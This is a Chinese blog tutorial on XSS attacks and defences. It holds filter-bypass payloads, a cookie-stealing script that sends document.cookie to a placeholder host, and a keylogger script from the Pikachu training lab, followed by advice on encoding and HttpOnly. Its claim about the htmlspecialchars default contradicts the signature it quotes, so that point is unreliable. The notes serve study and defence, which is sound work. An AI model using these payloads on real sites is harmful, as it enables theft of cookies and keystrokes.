当前位置: 博客首页>> 网络安全 >> 阅读正文

XSS跨站脚本攻击笔记

作者: 分类: 网络安全 发布于: 2024-06-24 19:12:17 浏览:1,203 评论(0)


简介

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页里插入恶意JavaScript代码,当用户浏览该页面时,嵌入Web里面的JS代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击。

XSS分类

反射型

非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS主要是GET类型。

存储型

持久型,常见的就是在博客留言板、反馈投诉、论坛评论,将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。例如:<script>alert(/css/)</script>

注入脚本

<!--常见脚本-->
<script>alert(1)</script>
<img src=## onerror=alert(document.cookie)>
<a onmouseover=alert(document.cookie)>xxs link</a>
<script>var img=document.createElement("img");img.src=alert(document.cookie);</script>

<!--可发送到远程服务器-->
<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>
 
<!--针对服务器某些安全处理的绕过-->
php代码: $name = str_replace( '<script>', '', $_GET[ 'name' ] );

大小写混淆:<ScRipt>alert(/xss/)</script>
双写绕过:<sc<script>ript>alert(/xss/)</script>
其他标签:<img src=x OnerrOr=alert(/xss/)
          
php代码: $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
其他标签:<img src=x OnerrOr=alert(/xss/)

XSS盲打

XSS盲打是一种攻击场景,也是属于存储型XSS类型。盲打的意思是无法直接在前端看到反馈效果,只有后台能看到输入的内容,从前端无法判断是否存在XSS,这种情况下,我们直接往里面插入XSS代码,然后等待,当管理员查看时就会遭到xss攻击。

比较常见的场景就是意见反馈页, 如管理后台没有做防xss攻击, 在意见反馈页提交的恶意代码,如获取管理后台cookie。在管理后台点击意见反馈列表页时,则会触发恶意js代码,把管理后台的cookie传回到恶意网站上,恶意script代码如:

<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>

XSS键盘记录

如成功注入以下代码,来自pikachu靶场的/var/www/html/pkxss/rkeypress/rk.js,即可把键盘输入内容传回到恶意服务器上,也可用于盲打

/**
 * Created by runner on 2018/7/8.
 */
function createAjax(){
    var request=false;
    if(window.XMLHttpRequest){
        request=new XMLHttpRequest();
        if(request.overrideMimeType){
            request.overrideMimeType("text/xml");
        }
    }else if(window.ActiveXObject){
        var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP',
            'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0',
            'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
        for(var i=0; i<versions.length; i++){
            try{
                request=new ActiveXObject(versions[i]);
                if(request){
                    return request;
                }
            }catch(e){
                request=false;
            }
        }
    }
    return request;
}
var ajax=null;
var xl="datax=";
function onkeypress() {
    var realkey = String.fromCharCode(event.keyCode);
    xl+=realkey; //自加,每变化一次加一次
    show();
}
document.onkeypress = onkeypress; //记录按键
function show() {
    ajax = createAjax();
    ajax.onreadystatechange = function () {
        if (ajax.readyState == 4) {
            if (ajax.status == 200) {
                var data = ajax.responseText;
            } else {
                alert("页面请求失败");
            }
        }
    }
    var postdate = xl; //xl赋值给postdate
    //使用php脚本接收键盘记录的结果,测试时需修改访问地址
    ajax.open("POST", "http://127.0.0.1/pkxss/rkeypress/rkserver.php",true); //
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate); //发送postdate
}

xss防御绕过

在实际的网站中,或多或少都会做一些安全措施去防御XSS漏洞的攻击,但是这些安全措施也存在方法、逻辑不严谨的情况,可以被绕过。

过滤不严格

如只是对<script> 标签进行替换,则可以使用大小写或者事件触发成功绕过

<ScRiPt>alert(1)</ScRipt> // 大小写混合绕过
<img src="" onerror=alert(1)> // img标签

HTML实体编码默认配置

HTML实体编码字符为:

& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &#039;
< (小于) 成为 &lt;
> (大于) 成为 &gt;

以PHP为例,在PHP中htmlspecialchars()函数是把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变。

function htmlspecialchars(string $string, int $flags = ENT_QUOTES|ENT_SUBSTITUTE, ?string $encoding = null, bool $double_encode = true): string {}

该函数默认配置下仅过滤掉双引号,只有设置$flag的类型,规定如何编码才会过同时滤掉单引号和双引号。

可用的flag类型:

  • ENT_COMPAT - 默认,仅编码双引号

  • ENT_QUOTES - 编码双引号和单引号

  • ENT_NOQUOTES - 不编码任何引号

htmlspecialchars 函数测试

<?php
$str = "Bill\" & 'Steve'";
echo htmlspecialchars($str, ENT_COMPAT); // 只转换双引号
echo "\n";
echo htmlspecialchars($str, ENT_QUOTES); // 转换双引号和单引号
echo "\n";
echo htmlspecialchars($str, ENT_NOQUOTES); // 不转换任何引号

打印内容为:

Bill&quot; &amp; 'Steve'
Bill&quot; &amp; &#039;Steve&#039;
Bill" &amp; 'Steve'

可见如没有对 ' 进行实体转码,可以使用单引号构造payload

#' onclick='alert(/xss/)
#' onmousemove='alert(/xss/)

XSS安全防御

XSS 攻击有两大要素:

1、攻击者提交恶意代码 -- 输入
2、浏览器执行恶意代码 -- 输出

根本的解决方法:从输入到输出都需要过滤、转义。

输入检查

输入检查的逻辑,必须放在服务端代码中实现。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务端代码中实现相同的输入检查。

以下为需过滤的常见字符:

[1] |(竖线符号)
[2] & (& 符号)
[3];(分号)
[4] $(美元符号)
[5] %(百分比符号)
[6] @(at 符号)
[7] '(单引号)
[8] "(引号)
[9] \'(反斜杠转义单引号)
[10] \"(反斜杠转义引号)
[11] <>(尖括号)
[12] ()(括号)
[13] +(加号)
[14] CR(回车符,ASCII 0x0d)
[15] LF(换行,ASCII 0x0a)
[16] ,(逗号)
[17] \(反斜杠)

输出检查

html实体编码

在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。

& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &#039;
< (小于) 成为 &lt;
> (大于) 成为 &gt;

JavaScript编码

JavaScriptEncode与HtmlEncode的编码方式不同,它需要使用反斜杠""对特殊字符进行转义。除了上面的那些转义之外,还要附加上下面的转义:

\ 转成 \\
/ 转成 \/
; 转成 ;(全角;)

HttpOnly

许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 httponly 属性,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,这样就避免了XSS攻击利用JavaScript的document.cookie 获取 cookie 。

严格来说,HttpOnly 并非阻止 XSS 攻击,而是能阻止 XSS 攻击后的 cookie 劫持攻击。

       

转载时请注明出处及相应链接。

本文永久链接: http://www.baigei.com/articles/xss-note